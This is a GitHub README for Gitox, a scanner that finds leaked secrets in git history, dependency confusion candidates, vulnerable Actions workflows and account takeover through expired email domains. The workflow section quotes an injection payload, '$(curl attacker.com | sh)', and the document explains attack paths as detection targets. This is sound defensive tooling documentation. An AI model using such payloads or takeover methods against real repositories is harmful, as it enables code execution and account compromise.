Skip to content

Repository files navigation

Gitox

Supply chain security scanner for GitHub repositories. Detects secrets leaked in git history, dependency confusion candidates, vulnerable GitHub Actions workflows, and account takeover vectors via expired email domains.

All four modules run in parallel and produce a unified report.


Prerequisites

  • Python 3.11+
  • git
  • TruffleHog — required by the secrets module only
    brew install trufflehog          # macOS
    # or
    curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh

Quick start

pip install -r requirements.txt

Scan a remote repository:

python cli.py scan --target https://github.com/owner/repo

Scan a local git directory:

python cli.py scan --path /path/to/local/repo

Provide exactly one of --target or --path.


CLI options

--target / -t    Remote repository URL (https://github.com/...)
--path / -p      Local path to a git repository directory
--modules / -m   Comma-separated modules to run: all,secrets,deps,workflow,ato  [default: all]
--output / -o    Output format: json, html, pdf, stdout  [default: stdout]
--output-dir     Directory where report files are written  [default: ./gitox-reports]
--token          GitHub personal access token (or set env GITHUB_TOKEN)
--verbose / -v   Show individual finding details in stdout mode

Examples:

# Run only secrets and workflow modules, save as HTML
python cli.py scan --target https://github.com/owner/repo \
  --modules secrets,workflow --output html --output-dir ./reports

# Scan a local repo verbosely
python cli.py scan --path ~/code/myproject --verbose

# Provide a GitHub token to avoid rate limits (required for ATO module)
python cli.py scan --target https://github.com/owner/repo --token ghp_xxxx

Modules

secrets — Secret mining

Finds credentials and secrets that were committed to the repository at any point in its history, including files that have since been deleted.

How it works:

  1. Live history scan — runs trufflehog git file://<repo> against the full git object store. TruffleHog walks every commit and blob, applying 700+ detector patterns (AWS keys, GitHub tokens, Stripe keys, private keys, etc.).

  2. Deleted blob recovery — extracts content of every file that was ever deleted from the repository:

    • git log --diff-filter=D identifies commits where files were removed
    • git ls-tree <commit>^ retrieves the blob SHA for each deleted file at the commit before deletion
    • git cat-file -p <sha> reads the raw blob content
    • Recovered blobs are written to a temp directory and scanned with trufflehog filesystem
  3. Deduplication — findings from both phases are deduplicated by (detector_name, raw_snippet) to avoid double-reporting secrets that appear in both live history and deleted blobs.

Findings produced:

Condition Severity Title
TruffleHog verifies the credential is live CRITICAL Secret detected: <DetectorName>
TruffleHog finds a match but cannot verify HIGH Secret detected: <DetectorName>

Each finding includes the file path, line number, a 120-character snippet of the raw value, the commit SHA where it appeared, the commit timestamp (ISO-8601 author date), and whether the source was live_history or deleted_blob.

Findings directory — for every secret found, the full content of the file at the offending commit is copied to ./gitox-findings/<commit-sha>/<original-file-path>. This lets you examine the exact file state without needing to check out old commits. The location can be changed by setting the SECRETS_FINDINGS_DIR environment variable.

Remediation guidance: Rotate the credential immediately, then remove it from git history using git-filter-repo or BFG Repo Cleaner.

If TruffleHog is not installed, the module returns a single error result instead of failing silently.


deps — Dependency confusion

Detects package names your repository depends on that do not exist in their public registry. An attacker who registers the same name publicly can cause package managers to silently pull malicious code in CI/CD pipelines or developer environments.

How it works:

  1. Manifest parsing — walks the entire repository recursively and parses every supported manifest file:

    File Ecosystem Sections parsed
    package.json npm dependencies, devDependencies, peerDependencies, optionalDependencies
    package-lock.json npm packages, dependencies
    yarn.lock npm All package entries (regex: ^"?([^@\s"]+)@)
    requirements.txt PyPI All non-comment, non-flag lines
    setup.py PyPI install_requires, extras_require
    pyproject.toml PyPI [project].dependencies, [tool.poetry.dependencies]
    Pipfile PyPI [packages], [dev-packages]
  2. Registry check — for each unique (package_name, ecosystem) pair, makes an HTTP HEAD/GET request to the public registry:

    • npm: GET https://registry.npmjs.org/<name> — 200 means exists, 404 means absent
    • PyPI: GET https://pypi.org/pypi/<name>/json — same logic
    • Requests are batched in groups of 20 and run concurrently with asyncio.gather
    • On any network error or timeout, the package is assumed to exist (avoids false positives)

Findings produced:

Condition Severity Title
Package not found in public registry CRITICAL Dependency confusion candidate: <name> (<ecosystem>)

Each finding includes the manifest file path, line number where the package is declared, and the registry URL that returned 404.


workflow — GitHub Actions scanner

Detects five classes of vulnerability in .github/workflows/*.yml files by parsing the workflow YAML and applying rule functions to every job and step.

Detection rules:

1. pwn_request — CRITICAL

Triggers when a workflow uses pull_request_target and any step references the PR head ref or SHA (github.event.pull_request.head.sha, github.event.pull_request.head.ref, github.head_ref, or refs/pull/).

pull_request_target runs in the context of the base branch (with access to secrets and write permissions). Checking out and running attacker-controlled code from a fork in that context gives the attacker full repository access.

2. expression_injection — HIGH

Triggers when a run: block, with: input, or env: value directly interpolates a user-controlled GitHub context expression:

github.event.issue.title        github.event.pull_request.title
github.event.issue.body         github.event.pull_request.body
github.event.comment.body       github.event.pull_request.head.ref
github.event.review.body        github.head_ref
github.event.review_comment.body

An attacker who opens an issue or PR with a crafted title like $(curl attacker.com | sh) can achieve shell command injection.

3. unpinned_actions — MEDIUM

Triggers for third-party uses: entries (not ./ local or actions/ first-party) where the ref is not a full 40-character commit SHA. Using a tag or branch name means a compromised upstream repository can inject malicious code on the next run.

4. token_permissions — MEDIUM / HIGH

  • MEDIUM: No top-level permissions: block (defaults to write-all) or permissions: write-all
  • HIGH: A job has contents: write or packages: write and the workflow uses pull_request_target (write access + fork trigger = critical attack path)

5. script_injection_env — HIGH

A secondary injection path: an environment variable is set from a user-controlled expression (${{ github.event.issue.title }}), and that variable is then referenced directly in a run: block via $VAR or ${VAR}.

Findings produced:

Rule Severity Title
pwn_request CRITICAL Dangerous pull_request_target with PR head checkout
expression_injection HIGH Expression injection via <context>
unpinned_actions MEDIUM Unpinned third-party action: <uses>
token_permissions MEDIUM or HIGH No explicit permissions block / write-all permissions / Write permissions combined with pull_request_target
script_injection_env HIGH Potential script injection via environment variable

Each finding includes the workflow file path, an approximate line number, the offending snippet, and a concrete remediation step.


ato — Account takeover

Detects GitHub maintainers whose email domain has expired or is unregistered. Anyone who registers that domain can trigger a GitHub password reset for those accounts and gain commit access to the repository.

How it works:

  1. Owner/repo resolution — extracts the GitHub owner and repository name from either the remote URL or the .git/config remote origin of a local clone.

  2. Contributor enumeration — paginates GET /repos/{owner}/{repo}/contributors (up to 100 per page). Implements exponential backoff on 429 rate-limit responses (max 60 s wait).

  3. Email collection — fetches GET /users/{login} for each contributor and extracts the public email field. Skips users with no public email and domains belonging to free providers that cannot be reclaimed: github.com, users.noreply.github.com, gmail.com, yahoo.com, hotmail.com, outlook.com

  4. Domain availability check — for each unique custom domain, checks in two steps (runs in a thread pool since python-whois is synchronous):

    • DNS: socket.gethostbyname(domain) — if it raises socket.gaierror with an NXDOMAIN-equivalent code, the domain does not resolve
    • WHOIS: if DNS resolves, queries WHOIS; flags the domain if no registrar data is found or if expiration_date is in the past
    • On any unexpected error, assumes the domain is registered (avoids false positives)
    • Domains are checked in batches of 10 concurrently

Findings produced:

Condition Severity Title
Domain is unregistered or expired CRITICAL Claimable email domain: <domain>

Each finding lists every affected contributor (login, email, contribution count), the domain, and the reason it was flagged (e.g. "Domain expired on 2023-11-01").

The ATO module requires a GitHub token for repositories with many contributors to avoid hitting unauthenticated API rate limits (60 req/hr). Pass --token or set GITHUB_TOKEN.


Output formats

stdout (default)

Prints a colour-coded summary table followed by per-finding detail when --verbose is used:

  GITOX SCAN REPORT
  Target:  https://github.com/owner/repo
  Scanned: 2024-05-12T14:03:22
  Modules: secrets, dep_confusion, workflow, ato

  FINDINGS SUMMARY
  ──────────────────────────────
  CRITICAL   3
  HIGH       5
  MEDIUM     2
  LOW        0
  INFO       0
  ──────────────────────────────
  TOTAL      10

  [SECRETS]
  CRITICAL — Secret detected: AWS
    File: config/deploy.rb:12
    Snippet: AKIAIOSFODNN7EXAMPLE...
    Commit: a1b2c3d4e5f6...  (2023-08-14 11:22:03 +0000)
    Saved:  ./gitox-findings/a1b2c3d4e5f6.../config/deploy.rb

  [WORKFLOW]
  CRITICAL — Dangerous pull_request_target with PR head checkout
    File: .github/workflows/ci.yml
  ...

json

Writes report.json (full ScanSummary) plus one <module>_report.json per module to --output-dir. Structure:

{
  "target": "https://github.com/owner/repo",
  "scan_timestamp": "2024-05-12T14:03:22",
  "modules_run": ["secrets", "dep_confusion", "workflow", "ato"],
  "total_findings": 10,
  "findings_by_severity": {
    "CRITICAL": 3,
    "HIGH": 5,
    "MEDIUM": 2,
    "LOW": 0,
    "INFO": 0
  },
  "results": [
    {
      "module_name": "secrets",
      "target": "https://github.com/owner/repo",
      "scan_timestamp": "2024-05-12T14:03:22",
      "duration_seconds": 8.41,
      "error": null,
      "findings": [
        {
          "id": "a3f1...",
          "severity": "CRITICAL",
          "title": "Secret detected: AWS",
          "description": "DetectorType: 2, DetectorName: AWS, Raw: AKIA...",
          "file_path": "config/deploy.rb",
          "line_number": 12,
          "snippet": "AKIAIOSFODNN7EXAMPLE",
          "remediation": "Rotate this credential immediately...",
          "metadata": {
            "verified": true,
            "detector": "AWS",
            "commit": "a1b2c3...",
            "commit_timestamp": "2023-08-14 11:22:03 +0000",
            "source": "live_history",
            "findings_copy": "./gitox-findings/a1b2c3.../config/deploy.rb"
          }
        }
      ]
    }
  ]
}

html

Writes a self-contained dark-themed HTML report (no external dependencies) to --output-dir. Includes:

  • Header — target, scan timestamp, Gitox version
  • Summary dashboard — one card per severity level with large coloured counts
  • Per-module sections — findings table with columns: Severity badge | Title | Location (file:line) | Description | Remediation
  • Secrets module — adds a Verified/Unverified badge column (red vs orange)
  • No findings — shows a green "No issues found" banner for clean modules

pdf

Renders the same HTML report to a PDF via WeasyPrint. Requires system libraries (libpango, libcairo) — see the Dockerfile for the full install list.


Docker

cp .env.example .env  # fill in SUPABASE_URL, SUPABASE_KEY
docker-compose up

Services started:

  • api — FastAPI app on port 8000
  • worker — Celery worker consuming scan jobs from Redis
  • redis — job broker on port 6379

API available at http://localhost:8000.


API endpoints

Method Path Description
POST /scans Submit a scan job. Body: {target, modules?, github_token?}. Returns {scan_id}.
GET /scans List last 20 scans (no result bodies).
GET /scans/{id} Get scan record: id, target, status, timestamps, modules, error.
GET /scans/{id}/results Full ScanSummary JSON, or 202 {status} if not complete yet.
GET /scans/{id}/report Rendered HTML report (text/html).
GET /health {"status": "ok", "version": "0.1.0"}

Scan statuses: queuedrunningcomplete / failed.

Rate limit: 10 scan submissions per IP per hour.


Adding a new module

  1. Create modules/<name>/scanner.py implementing Scanner:

    from core.base_scanner import Scanner
    from core.models import ScanResult, Severity
    
    class MyScanner(Scanner):
        name = "my_module"
    
        async def run(self, repo_path: str) -> ScanResult:
            import time
            start = time.time()
            findings = []
            # ... detection logic ...
            # Use self._make_finding(severity=..., title=..., description=...) to build findings
            return ScanResult(
                module_name=self.name,
                target=repo_path,
                findings=findings,
                duration_seconds=time.time() - start,
            )
  2. Register it in cli.py (_build_scanners) and api/worker.py (_build_scanners):

    from modules.my_module.scanner import MyScanner
    all_scanners = { ..., "mymod": MyScanner }
  3. Add tests in tests/test_<name>.py. Use the tmp_git_repo fixture from conftest.py to create minimal real git repos.


Running tests

# All unit tests (no network, no TruffleHog required)
pytest tests/ -v --asyncio-mode=auto -m "not integration"

# All tests including integration (requires network + TruffleHog)
pytest tests/ -v --asyncio-mode=auto

The test_secrets.py tests are automatically skipped if TruffleHog is not installed. The integration test in test_integration.py scans trufflesecurity/test_keys (TruffleHog's own fixture repo) end-to-end and asserts all three output formats render successfully.

About

Offensive supply chain security scanner for GitHub repositories - secrets, dependency confusion, vulnerable Actions workflows, and account takeover, with attacker-context reporting.

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages